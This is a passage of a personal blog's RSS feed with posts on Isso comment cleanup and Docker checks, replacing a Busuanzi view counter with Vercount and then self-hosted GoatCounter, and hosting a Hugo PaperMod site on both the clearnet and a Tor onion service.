    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • +
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
    • +
    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • +
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
    • +
    +
    +

    One-liners for the impatient

    +
    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    +

    Find the container

    +
    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    +
    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    +
    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    +
    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    +
    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    +
    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    +
    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    +
    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    +
    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    +
    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    +
    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    +
    + + +]]>
    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)https://blog.alipour.eu/posts/papermod-views-debugging-story/Sat, 18 Oct 2025 10:45:00 +0000https://blog.alipour.eu/posts/papermod-views-debugging-story/I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttps://blog.alipour.eu/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000https://blog.alipour.eu/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
